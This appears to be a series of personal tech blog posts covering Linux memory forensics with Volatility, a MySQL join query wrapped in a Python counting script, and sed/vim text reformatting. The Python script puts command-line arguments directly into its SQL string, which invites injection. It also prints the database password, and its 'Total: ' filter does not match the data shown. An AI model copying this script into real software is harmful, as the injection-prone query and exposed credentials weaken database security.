  -h, --help            list all available options and their default values.
                        Default values may be set in the configuration file
                        (/etc/volatilityrc)
  --conf-file=/Users/mckeed/.volatilityrc
                        User based configuration file
  -d, --debug           Debug volatility
  --plugins=PLUGINS     Additional plugin directories to use (colon separated)
  --info                Print information about all registered objects
  --cache-directory=/Users/mckeed/.cache/volatility
                        Directory where cache files are stored
  --cache               Use caching
  --tz=TZ               Sets the timezone for displaying timestamps
  -f FILENAME, --filename=FILENAME
                        Filename to use when opening an image
  --profile=Linuxfedora16profilex64
                        Name of the profile to load

This demonstrates that the profile is working correctly. Notice help only listed the functions dealing with Linux. This is because volatility recognizes the image as a Linux image and doesn't show you incompatible plugins. Now that we have everything setup, it is time to analyze some memory!

 Using Volatility

  Volatility has a lot of features and plugins, I am only going to demonstrate a few of the most common and ones that I recently used. First is pslist. This a rather important plugin since as I recently discovered many other plugins rely on it. "pslist" shows a list of the running processes in memory with there pid and memory offset. Many other plugins need the PID to preform there task even when supplied by the user, the output of pslist is still referenced. Depending on the size of the memory image, this can take some time to run. Below is an example of the output from pslist. I am only showing a small sample of the output.

python vol.py -f Fedora-64.vmem --profile=Linuxfedora16profilex64 linux_pslist ─┘

Volatility Foundation Volatility Framework 2.3.1
Offset             Name                 Pid             Uid             Gid    DTB                Start Time
------------------ -------------------- --------------- --------------- ------ ------------------ ----------
...
0xffff88003a3c9720 auditd               804             0               0      0x0000000036742000 
0xffff88003af94560 abrtd                818             0               0      0x0000000039ee2000 
0xffff88003af92e40 abrt-dump-oops       819             0               0      0x000000003cdb4000 
0xffff88003aa91720 audispd              823             0               0      0x000000003aaaa000 
0xffff88003aa92e40 atd                  824             0               0      0x000000003cf88000 
0xffff88003aa94560 NetworkManager       825             0               0      0x000000003cf89000 
0xffff88003ab54560 avahi-daemon         830             70              70     0x000000003ae1e000 
0xffff88003c390000 sedispatch           831             0               0      0x000000003ae76000 
0xffff88003c392e40 system-setup-ke      833             0               0      0x000000003ae75000 
0xffff88003ad68000 systemd-logind       836             0               0      0x000000003ae72000 
0xffff88003ad6c560 mcelog               839             0               0      0x000000003ae7d000 
0xffff880039dec560 crond                848             0               0      0x000000003cf39000 
0xffff88003ab52e40 rsyslogd             861             0               0      0x000000003cb81000 
0xffff8800364b5c80 dbus-daemon          864             81              81     0x000000003afd1000 
0xffff88003676c560 acpid                867             0               0      0x000000003cb80000 
0xffff880036fe2e40 rpc.idmapd           887             0               0      0x000000003bc71000 
0xffff88003ad69720 avahi-daemon         907             70              70     0x000000003ae48000 
0xffff880039dedc80 polkitd              946             0               0      0x0000000039e1e000 
0xffff88003b612e40 modem-manager        950             0               0      0x000000003af7e000 
0xffff88003aa2c560 sshd                 955             0               0      0x000000003abf1000 
0xffff88003a235c80 rpcbind              961             0               0      0x000000003ab9f000 
0xffff88003a234560 rpc.statd            980             29              29     0x000000003ab99000 
0xffff88003af90000 sendmail             1204            51              51     0x000000003b8b7000 
0xffff880039de9720 vmware-vmblock-      1209            0               0      0x000000003abbc000 
0xffff880036769720 vmtoolsd             1229            0               0      0x000000003995b000 
0xffff88003a231720 gdm-binary           1261            0               0      0x000000003a627000 
0xffff88003aa29720 gdm-simple-slav      1303            0               0      0x000000003991f000 
0xffff88003af91720 Xorg                 1328            0               0      0x000000003be73000 
...

Lets study a process further. For this I will choose to look at "vmtoolsd" or process 1229. What libraries has this process loaded into memory? In order to check this we can use a plugin in volatility called "linux_proc_map". This plugin shows all the libraries loaded into memory and where they are located. See a sample of the output below. Notice I am using the pid to grep for all results associated with "vmtoolsd"

python vol.py -f Fedora-64.vmem --profile=Linuxfedora16profilex64 linux_proc_maps | grep 1229 

Pid      Start              End                Flags               Pgoff Major  Minor  Inode      File Path                                                                       
-------- ------------------ ------------------ ------ ------------------ ------ ------ ---------- ---------------------------------------
...

0-    1229 0x0000000000400000 0x0000000000494000 r-x                   0x0    253      1     552735 /usr/lib/vmware-tools/sbin64/vmtoolsd                                           
179-    1229 0x0000000000693000 0x00000000006a8000 r--               0x93000    253      1     552735 /usr/lib/vmware-tools/sbin64/vmtoolsd                                           
358-    1229 0x00000000006a8000 0x00000000006b0000 rw-               0xa8000    253      1     552735 /usr/lib/vmware-tools/sbin64/vmtoolsd                                           
537-    1229 0x00000000006b0000 0x00000000006b3000 rw-                   0x0      0      0          0                                                                                 
716:    1229 0x00000000014d5000 0x000000000153a000 rw-                   0x0      0      0          0 [heap]                                                                          
895-    1229 0x0000003250800000 0x0000003250822000 r-x                   0x0    253      1     935190 /lib64/ld-2.14.90.so                                                            
1074-    1229 0x0000003250a21000 0x0000003250a22000 r--               0x21000    253      1     935190 /lib64/ld-2.14.90.so                                                            
1253-    1229 0x0000003250a22000 0x0000003250a23000 rw-               0x22000    253      1     935190 /lib64/ld-2.14.90.so                                                            
1432-    1229 0x0000003250a23000 0x0000003250a24000 rw-                   0x0      0      0          0                                                                                 
1611-    1229 0x0000003250c00000 0x0000003250dad000 r-x                   0x0    253      1     935191 /lib64/libc-2.14.90.so                                                          
1790-    1229 0x0000003250dad000 0x0000003250fad000 ---              0x1ad000    253      1     935191 /lib64/libc-2.14.90.so                                                          
1969-    1229 0x0000003250fad000 0x0000003250fb1000 r--              0x1ad000    253      1     935191 /lib64/libc-2.14.90.so  
...

Lets take a look at what is on the heap of "vmtoolsd". In order to accomplish this we will need to dump the memory at the address provided by "linux_proc_maps". Volatility has another plugin called "linux_dump_map" which will dump a segment of memory. Memory can be dump either by address or by process. You also must specify a directory to dump too. Since I am only interested in a specific section I am going to dump via address using the "-s" flag.
 

python vol.py -f Fedora-64.vmem --profile=Linuxfedora16profilex64 linux_dump_map -s 0x00000000014d5000 0x000000000153a000  --dump-dir dump 

Volatility Foundation Volatility Framework 2.3.1
Task       VM Start           VM End                         Length Path
---------- ------------------ ------------------ ------------------ ----
      1229 0x00000000014d5000 0x000000000153a000            0x65000 dump/task.1229.0x14d5000.vma

Now that we have a memory file to analyze, we can preform any number of forensic techniques. Since there is no specific goal defined here I like to start with a basic strings. When you start to look at the strings output you will notice alot of filenames and paths. What caught my attention while writing this blog was there are alot of file paths that have the same last section. For example "gltext","deco","cubestorm" and my personal favorite "starwars". When I went back and booted the VM, none of these paths actually existed.

strings task.1229.0x14d5000.vma| grep starwars                                                                                   ─┘
/usr/libexec/xscreensaver/starwars
/usr/local/bin/starwars
/usr/bin/starwars
/bin/starwars
/usr/local/sbin/starwars
/usr/sbin/starwars
/sbin/starwars
/home/user/.local/bin/starwars
/home/user/bin/starwars
/usr/libexec/xscreensaver/starwars
/usr/local/bin/starwars
/usr/bin/starwars
/bin/starwars
/usr/local/sbin/starwars
/usr/sbin/starwars
/sbin/starwars
/home/user/.local/bin/starwars
/home/user/bin/starwars

I have no idea why this is here or what this is about, if anyone has more information please comment or send me and email. I will research this and update the post if I come across an explanation. That is the basics of volatility on Linux in a nut shell. Please comment with any questions.

MYSQL and Python

At this point you might start to think I only work with python and mysql problems. Not true just happens to be what I have had to work with lately. I am a big python fan and do use it when I can to accomplish simple tasks. Anyway the problem at hand.... I needed to query a mysql database to determine how many orders a user had placed on a website where the orders came to a particular total. This data was stored into two different tables, "orders" and "orders_total". The tables have a lot of columns so I am only showing a few.

mysql> select customers_name,customers_id,orders_id from orders where customers_name ="John Does";
+----------------+--------------+-----------+
| customers_name | customers_id | orders_id |
+----------------+--------------+-----------+
| John Does      |            4 |         3 | 
| John Does      |            4 |         4 | 
| John Does      |            4 |         5 | 
| John Does      |            4 |         6 | 
| John Does      |            4 |         7 | 
| John Does      |            4 |         8 | 
+----------------+--------------+-----------+
6 rows in set (0.00 sec)


mysql> select orders_id,title,text  from orders_total;
+-----------+-----------------------+----------------+
| orders_id | title                 | text           |
+-----------+-----------------------+----------------+
|         1 | Sub-Total:            | $69.99         | 
|         1 | Flat Rate (Best Way): | $5.00          | 
|         1 | Total:                | $74.99  | 
|         2 | Sub-Total:            | $89.99         | 
|         2 | Flat Rate (Best Way): | $5.00          | 
|         2 | Total:                | $94.99  | 
|         3 | Sub-Total:            | $529.97        | 
|         3 | Flat Rate (Best Way): | $5.00          | 
|         3 | Total:                | $534.97 | 
|         4 | Sub-Total:            | $71.99         | 
|         4 | Flat Rate (Best Way): | $5.00          | 
|         4 | Total:                | $76.99  | 
|         5 | Sub-Total:            | $29.99         | 
|         5 | Flat Rate (Best Way): | $5.00          | 
|         5 | Total:                | $34.99  | 
|         6 | Sub-Total:            | $29.99         | 
|         6 | Flat Rate (Best Way): | $5.00          | 
|         6 | Total:                | $34.99  | 
|         7 | Sub-Total:            | $29.99         | 
|         7 | Flat Rate (Best Way): | $5.00          | 
|         7 | Total:                | $34.99  | 
|         8 | Sub-Total:            | $29.99         | 
|         8 | Flat Rate (Best Way): | $5.00          | 
|         8 | Total:                | $34.99  | 
+-----------+-----------------------+----------------+
24 rows in set (0.00 sec)

For simplicity I only wanted to have to use one sql query to obtain the information I was looking for. This required me to craft a sql statement using a "join". Being rusty on more than the basic sql syntax this took me a few attempts. However see the final statement below.

mysql> select customers_name,x.orders_id,y.title,y.text from orders x join orders_total y on x.orders_id = y.orders_id where customers_name = "John Does" and y.title = "Total:";

+----------------+-----------+--------+----------------+
| customers_name | orders_id | title  | text           |
+----------------+-----------+--------+----------------+
| John Does      |         3 | Total: | $534.97 | 
| John Does      |         4 | Total: | $76.99  | 
| John Does      |         5 | Total: | $34.99  | 
| John Does      |         6 | Total: | $34.99  | 
| John Does      |         7 | Total: | $34.99  | 
| John Does      |         8 | Total: | $34.99  | 
+----------------+-----------+--------+----------------+
6 rows in set (0.00 sec)

This statement grabs the columns customers_name from the "orders" table and "orders_id","title" and "text" from the "orders_total" table. The "join" is used to link orders_id from both tables as the common value. The "where" statement is then used to limit the results to only "John Does" orders and only the "Total: " cost for each order. Now that I have a condensed result I wanted to count the orders that "John Does" made that had a value of "34.99". I first was planning on using python to step through the results and count how many entries had the "34.99" cost, however then I realized one more where statement would do it for me!

mysql> select customers_name,x.orders_id,y.title,y.text from orders x join orders_total y on x.orders_id = y.orders_id where customers_name = "John Does" and y.title = "Total:" and text = "$34.99";
+----------------+-----------+--------+---------------+
| customers_name | orders_id | title  | text          |
+----------------+-----------+--------+---------------+
| John Does      |         5 | Total: | $34.99 | 
| John Does      |         6 | Total: | $34.99 | 
| John Does      |         7 | Total: | $34.99 | 
| John Does      |         8 | Total: | $34.99 | 
+----------------+-----------+--------+---------------+
4 rows in set (0.00 sec)

Now the number of rows returned is value I am interested in. I created a python script that will connect to the database and obtain this result. This will allow me to run this script with a cron job and keep track of the number of sales at a certain cost. If you have never used python injunction with mysql it is very easy. There is a library called MySQLdb which has everything you will need. Below is the final script I wrote which takes all of the sql parameters using "argparse". If you have any questions post them and I will answer them.

#!/usr/bin/python

import sys 
import MySQLdb
import argparse

def parseOptions():
    parser=argparse.ArgumentParser(description="Check mysql db for purchases")
    parser.add_argument(dest="host",action="store",help="IP address of mydql server",metavar="HOST")
    parser.add_argument("-u","--username",dest="username",help="Username for db default is user",metavar="USERNAME",default="user")
    parser.add_argument("-p","--password",dest="passwd",help="Password for user. Default is'password' ",metavar="PASSWORD",default="password")
    parser.add_argument("-d","--database",dest="db",help="Database to use. Default is 'db'",metavar="DATABASE",default="db")
    parser.add_argument("-c","--cost",dest="orderCost",help="Total expected cost of order as it appears in mysql. Default is '$34.99'",metavar="COST",default="$34.99")
    parser.add_argument("-n","--searchName",dest="customerSearchName",help="Name to search by in db. Default is 'John Does'",metavar="NAME",default="John Does")

    args = parser.parse_args()

    print "Running using arguments:"
    print "Host:",args.host
    print "Username:",args.username
    print "Password:",args.passwd
    print "Database:",args.db
    print "Order Cost:",args.orderCost
    print "Customer Name:",args.customerSearchName

    return args

def checkDB(username,passwd,host,db,orderCost,customerSearchName):
    try:
        conn = MySQLdb.connect(host,username,passwd,db)
    except MySQLdb.Error as err:
        print("Could not connect to database: {}".format(err))
        sys.exit(-1)

    cursor = conn.cursor()
    sqlCommand = "select customers_name,x.orders_id,y.title,y.text from orders x join orders_total y on x.orders_id = y.orders_id where customers_name = \"%s\" and y.title = \"Total: \" and text = \"%s\";" %(customerSearchName,orderCost)
    try:
        cursor.execute(sqlCommand)
    except MySQLdb.Error as err:
        print("Could not execute sql command: {}".format(err))
        sys.exit(-1)

    return len(cursor.fetchall())

if __name__=='__main__':
    #parse options
    options = parseOptions();
    numOfOrders = checkDB(options.username,options.passwd,options.host,options.db,options.orderCost,options.customerSearchName)

    if numOfOrders == 0:
        print "No Orders"
        sys.exit(1)
    else:
        print "Number of valid orders:",numOfOrders
        sys.exit(0)

SED and VIM to the rescue!

Almost every blog I come across on the internet has at least one blog entry about SED and its amazing powers. Why should this one be any different!? It is unfortunate but you can't control how other people provide you information. The other day I was given a very large list of IP address,subnets and gateways which needed to be put into a SQL database. They looked like this

10.1.0.0,255.255.0.0,10.1.0.1
10.2.0.0,255.255.0.0,10.2.0.1
10.3.0.0,255.255.0.0,10.3.0.1
10.4.0.0,255.255.0.0,10.4.0.1
10.5.0.0,255.255.0.0,10.5.0.1
10.6.0.0,255.255.0.0,10.6.0.1
10.7.0.0,255.255.0.0,10.7.0.1
10.8.0.0,255.255.0.0,10.8.0.1
10.9.0.0,255.255.0.0,10.9.0.1
...

I needed them to look like this

INSERT INTO `ipaddressranges` VALUES (2,'10.1.0.0/16','255.255.0.0','10.1.0.1');

To get from point A to point B I turned to sed. Instead of creating one crazy sed statement I usually find it easier to separate my task into multiple sed statements piped together. First I started with adding the "/16" to the end of the IP address range. To do this I first told sed to replace the first "," with "/16','". Notice how I am adding the "," back and adding a single quote on each side. The single quote will be needed around each address.

cat ipaddresses | sed "s/,/\/16','/" 

Notice that the "\" is escaped by putting a "/" in front of it. Also the entire sequence is in double quotes. I found this makes it easier to escape special characters. I first made the mistake of adding a "/g" at the end of said statement, however this means global and will replace all the "," which we don't want todo. We only want to replace the first one. Now we have:

10.1.0.0/16','255.255.0.0,10.1.0.1
10.2.0.0/16','255.255.0.0,10.2.0.1
10.3.0.0/16','255.255.0.0,10.3.0.1
10.4.0.0/16','255.255.0.0,10.4.0.1
10.5.0.0/16','255.255.0.0,10.5.0.1
10.6.0.0/16','255.255.0.0,10.6.0.1
10.7.0.0/16','255.255.0.0,10.7.0.1
10.8.0.0/16','255.255.0.0,10.8.0.1
10.9.0.0/16','255.255.0.0,10.9.0.1
...

Next we need to add the first part of the sql statement.

cat ipaddresses | sed "s/,/\/16','/" | sed "s/^/INSERT INTO \`ipaddressranges\` VALUES (2,'/" 

We pipe the previous statement into sed again and the start of each line indicated by a "^" with the first part of the sql statement. Again making sure to escape the single quotes. Also add the single quote at the end so the ip address will be now entirely in single quotes. Now we have:','

INSERT INTO `ipaddressranges` VALUES (2,'10.1.0.0/16','255.255.0.0,10.1.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.2.0.0/16','255.255.0.0,10.2.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.3.0.0/16','255.255.0.0,10.3.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.4.0.0/16','255.255.0.0,10.4.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.5.0.0/16','255.255.0.0,10.5.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.6.0.0/16','255.255.0.0,10.6.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.7.0.0/16','255.255.0.0,10.7.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.8.0.0/16','255.255.0.0,10.8.0.1
INSERT INTO `ipaddressranges` VALUES (2,'10.9.0.0/16','255.255.0.0,10.9.0.1

Next we need to finish the quotes around the subnet and start the quotes around the gateway so we replace the 3rd comma with "','".

cat ipaddresses | sed "s/,/\/16','/" | sed "s/^/INSERT INTO \`ipaddressranges\` VALUES (2,'/" | sed "s/,/','/3"

Notice the "/3" at end of the last sed statement which indicates the 3rd occurrence on each line. Now to finish the line we need to add a '); to the end of each statement. Todo this I replaced the end of the line "$" with "');".

cat ipaddresses | sed "s/,/\/16','/" | sed "s/^/INSERT INTO \`ipaddressranges\` VALUES (2,'/" | sed "s/,/','/3"| sed "s/$/');/" > output.sql

So this should produce what we need and store it into output.sql. However if you ran this you will notice two issues. One I forgot to replace the ID number in the beginning of the sql statement. This will create a problem when you go to import this into mysql. You will also notice a "^M" added in end of each line. I am not sure how I introduced this, if anyone knows, please comment. Regardless in order to fix both of these issues I turned to vim. First to replace the "^M" open output.sql in vim and enter the command :%s/ctrl V ctrlM//g. This will substitute all (/g) the "^M" with nothing hence removing them. Next to fix the id number we can use vim to replace it with an incrementing variable. To accomplish this type the command:

 :let i=1 | g/2/s//\=i/ | let i=i+1

This creates a variable "let i =1" and globally "g/" substitutes "s/" the number "2" with i's current value "/\=i". After each replacement it increments i. "let i=i+1". So finally we have the output we desire.

INSERT INTO `ipaddressranges` VALUES (1,'10.1.0.0/16','255.255.0.0','10.1.0.1');
INSERT INTO `ipaddressranges` VALUES (2,'10.2.0.0/16','255.255.0.0','10.2.0.1');
INSERT INTO `ipaddressranges` VALUES (3,'10.3.0.0/16','255.255.0.0','10.3.0.1');
INSERT INTO `ipaddressranges` VALUES (4,'10.4.0.0/16','255.255.0.0','10.4.0.1');
INSERT INTO `ipaddressranges` VALUES (5,'10.5.0.0/16','255.255.0.0','10.5.0.1');
INSERT INTO `ipaddressranges` VALUES (6,'10.6.0.0/16','255.255.0.0','10.6.0.1');
INSERT INTO `ipaddressranges` VALUES (7,'10.7.0.0/16','255.255.0.0','10.7.0.1');
INSERT INTO `ipaddressranges` VALUES (8,'10.8.0.0/16','255.255.0.0','10.8.0.1');
INSERT INTO `ipaddressranges` VALUES (9,'10.9.0.0/16','255.255.0.0','10.9.0.1');